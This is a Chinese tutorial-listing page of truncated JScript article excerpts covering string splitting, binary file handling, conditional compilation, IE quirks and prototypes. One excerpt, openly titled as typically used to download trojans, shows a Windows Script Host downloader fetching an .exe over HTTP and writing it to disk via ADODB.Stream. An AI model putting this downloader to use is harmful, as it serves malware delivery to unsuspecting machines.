【Javascript在IE中运行缓慢 – “JScript – 窗口脚本块”是什么意思?】教程文章相关的互联网学习教程文章

JScript分割字符串示例代码_javascript技巧

不废话了,直接用代码说明吧: 代码如下: try { var ss = new Array(); var str="123,4567,89,0"; ss = str.split(","); // 以逗号为分割符 for(i=0;i<ss.length;i++) WScript.Echo(ss[i]); } catch(e) { WScript.Echo(e.description); }

jscript读写二进制文件的方法_javascript技巧

本文实例讲述了jscript读写二进制文件的方法。分享给大家供大家参考。具体实现方法如下:var bin = new Array(256); for(var i=0;i用法示例如下:var crFolder = 'C:/Temp/cr' var bf1=new BinaryFile(crFolder+"/PCDV0026.JPG"); var bf2=new BinaryFile(crFolder+"/PCDV0026_.JPG"); bf2.WriteAll(bf1.ReadAll());希望本文所述对大家的javascript程序设计有所帮助。

JScript中的条件注释详解_javascript技巧

JScript 可以使用以下语句根据条件编译变量的值控制脚本的编译。既可以使用 JScript 提供的变量,也可以使用 @set 指令或 /define 命令行选项定义自己的变量。 @cc_on 激活条件编译支持。 @if 根据表达式的值,有条件地执行一组语句。 @set 创建使用条件编译语句的变量。 @cc_on、@if 或 @set 语句激活条件编译。条件编译的一些典型用途包括在 JScript 中使用新功能、将调试支持嵌入到一个脚本中以及跟踪代码执行。 当编写由 We...

跟我学习JScript的Bug与内存管理_javascript技巧

1、JScript的Bug IE的ECMAScript实现JScript严重混淆了命名函数表达式,搞得现很多人都出来反对命名函数表达式,而且即便是现在还一直在用的一版(IE8中使用的5.8版)仍然存在下列问题。 下面我们就来看看IE在实现中究竟犯了那些错误,俗话说知已知彼,才能百战不殆。我们来看看如下几个例子: 例1:函数表达式的标示符泄露到外部作用域var f = function g(){}; typeof g; // "function"前面我们说过,命名函数表达式的标示符在外部...

JScript实现表格的简单操作

本文实例为大家分享了JScript实现表格的简单操作,供大家参考,具体内容如下实现思路:1、添加时:获取当前列表的行数,在当前一行添加下一行; 2、用insertCell()方法添加一行,下标从0开始, 3、若要给新一行添加类型、响应事件,就用setAttribute()方法,类似于键值对,并用appendChild()方法将数据保存到新一行 4、删除时:获取需要删除行的当前行数this,然后获取父节点,把整一行删掉remove(),而不是单单删除某一行的...

JScript实现地址选择功能

本文实例为大家分享了JScript实现地址选择功能的具体代码,供大家参考,具体内容如下 <!DOCTYPE html> <html><head><meta charset="UTF-8"><title></title><script>var shenArr = new Array(5);shenArr["广东"] = ["广州","深圳","韶关","汕头","茂名"];shenArr["湖南"] = ["长沙","张家界","株洲","岳阳","吉首"];shenArr["湖北"] = ["武汉","宜昌","荆州","黄冈","仙桃"];shenArr["安徽"] = ["合肥","黄山"];shenArr["河南"] = [...

跟我学习JScript的Bug与内存管理

1、JScript的Bug IE的ECMAScript实现JScript严重混淆了命名函数表达式,搞得现很多人都出来反对命名函数表达式,而且即便是现在还一直在用的一版(IE8中使用的5.8版)仍然存在下列问题。 下面我们就来看看IE在实现中究竟犯了那些错误,俗话说知已知彼,才能百战不殆。我们来看看如下几个例子: 例1:函数表达式的标示符泄露到外部作用域 var f = function g(){}; typeof g; // "function" 前面我们说过,命名函数表达式的标示符在外...

JScript中的条件注释详解

JScript 可以使用以下语句根据条件编译变量的值控制脚本的编译。既可以使用 JScript 提供的变量,也可以使用 @set 指令或 /define 命令行选项定义自己的变量。 @cc_on 激活条件编译支持。 @if 根据表达式的值,有条件地执行一组语句。 @set 创建使用条件编译语句的变量。 @cc_on、@if 或 @set 语句激活条件编译。条件编译的一些典型用途包括在 JScript 中使用新功能、将调试支持嵌入到一个脚本中以及跟踪代码执行。...

jscript读写二进制文件的方法

本文实例讲述了jscript读写二进制文件的方法。分享给大家供大家参考。具体实现方法如下: var bin = new Array(256); for(var i=0;i<256;i++){bin[i]=String.fromCharCode(i); } function TestWrite(){var Stream = new ActiveXObject("ADODB.Stream");var adTypeBinary=1,adTypeText=2;Stream.Type = adTypeText;Stream.CharSet = "iso-8859-1";Stream.Open();//Stream.WriteText("\x00\x01\x02\xff\xff");for(var i=0;i<256;i++)...

JScript分割字符串示例代码

不废话了,直接用代码说明吧: 代码如下:try { var ss = new Array(); var str="123,4567,89,0"; ss = str.split(","); // 以逗号为分割符 for(i=0;i<ss.length;i++) WScript.Echo(ss[i]); } catch(e) { WScript.Echo(e.description); }

使用 JScript 创建 .exe 或 .dll 文件的方法

什么是 JScript? JScript 是由微软开发的活动脚本语言,基于 ECMAScript 规范实现。Internet Explorer 中的 JavaScript,实际上是指 JScript。JScript 已被 Windows Script Host(WSH)支持(WSH 中的 JavaScript shell scripting:C:\> cscript jslint.js)。JScript 最新的版本(JScript.NET)基于 ECMAScript 4.0 ,并且可以在 .Net 环境下编译。 .NET Framwork 中包含有 JScript 编译器 :JScriptCompiler (C:\WINDOWS\Micro...

通过Jscript中@cc_on 语句识别IE浏览器及版本的代码

激活条件编译支持。 @cc_on 备注 @cc_on 语句激活脚本引擎中的条件编译。 强烈推荐在注释中使用 @cc_on 语句,以使不支持条件编译的浏览器将您的脚本视为有效语法而接受它: /*@cc_on*/ // The remainder of the script.或者,在注释外的一个 @if 或 @set 语句也将激活条件编译。 要求 版本 3 请参见 参考 @if...@elif...@else...@end 语句 @set 语句 代码如下:/*@cc_on @if (@_jscript_version > 5.7) document.write("You are u...

JScript中的prototype(原型)属性研究第1/2页

我们使用prototype属性提供对象的类的一组基本功能。并且对象的新实例会"继承"赋予该对象原型的操作。但是这个prototype到底是怎么实现和被管理的呢?对于对象的prototype属性的说明,JScript手册上如是说:所有 JScript 内部对象都有只读的 prototype 属性。可以向其原型中动态添加功能(属性和方法),但该对象不能被赋予不同的原型。然而,用户定义的对象可以被赋给新的原型。 下面我们看三个经典的prototype属性的使用示例。 1、...

JScript 脚本实现文件下载 一般用于下载木马

jscript版本 代码如下:var objArgs=WScript.Arguments; var sGet=new ActiveXObject("ADODB.Stream"); var xGet=null; try{ xGet=new XMLHttpRequest(); }catch(e){ try{ xGet=new ActiveXObject("Msxml2.XMLHTTP"); }catch(ex){ try{ xGet=new ActiveXObject("Microsoft.XMLHTTP"); }catch(e3){ xGet=null; } } } if(xGet != null){ xGet.Open("GET","http://localhost/aplan/mycalc.exe",0); xGet.Send(); sGet.Mode=3; sGet.Typ...

JScript中使用ADODB.Stream判断文件编码的代码

一开始使用ASCII编码来读取文本数据,模拟读取二进制数据,但是发现如果字符编码大于127时,只会得到小于128的值,相当于和128取余了,因此ASCII编码是不行的。 继续寻找,在CodeProejct.com找到一篇文章《Reading And Writing Binary Files Using JScript》,里面刚好有我需要的内容。 其实说来也简单,就是把编码换一下,使用437,这个是IBM扩展过的ASCII编码,把ASCII编码的最高位也利用起来,将字符集中的字符从128个扩展到256...

窗口 - 相关标签
JAVASCRIPT - 技术教程分类
JavaScript 教程 JavaScript 简介 JavaScript 用法 JavaScript Chrome 中运行 JavaScript 输出 JavaScript 语法 JavaScript 语句 JavaScript 注释 JavaScript 变量 JavaScript 数据类型 JavaScript 对象 JavaScript 函数 JavaScript 作用域 JavaScript 事件 JavaScript 字符串 JavaScript 运算符 JavaScript 比较 JavaScript 条件语句 JavaScript switch 语句 JavaScript for 循环 JavaScript while 循环 JavaScript break 和 continue 语... JavaScript typeof JavaScript 类型转换 JavaScript 正则表达式 JavaScript 错误 JavaScript 调试 JavaScript 变量提升 JavaScript 严格模式 JavaScript 使用误区 JavaScript 表单 JavaScript 表单验证 JavaScript 验证 API JavaScript 保留关键字 JavaScript this JavaScript let 和 const JavaScript JSON JavaScript void JavaScript 异步编程 JavaScript Promise JavaScript 代码规范 JavaScript 函数定义 JavaScript 函数参数 JavaScript 函数调用 JavaScript 闭包 DOM 简介 DOM HTML DOM CSS DOM 事件 DOM EventListener DOM 元素 HTMLCollection 对象 NodeList 对象 JavaScript 对象 JavaScript prototype JavaScript Number 对象 JavaScript String JavaScript Date(日期) JavaScript Array(数组) JavaScript Boolean(布尔) JavaScript Math(算数) JavaScript RegExp 对象 JavaScript Window JavaScript Window Location JavaScript Navigator JavaScript 弹窗 JavaScript 计时事件 JavaScript Cookie JavaScript 库 JavaScript 实例 JavaScript 对象实例 JavaScript 浏览器对象实例 JavaScript HTML DOM 实例 JavaScript 总结 JavaScript 对象 HTML DOM 对象 JavaScript 异步编程 javascript 全部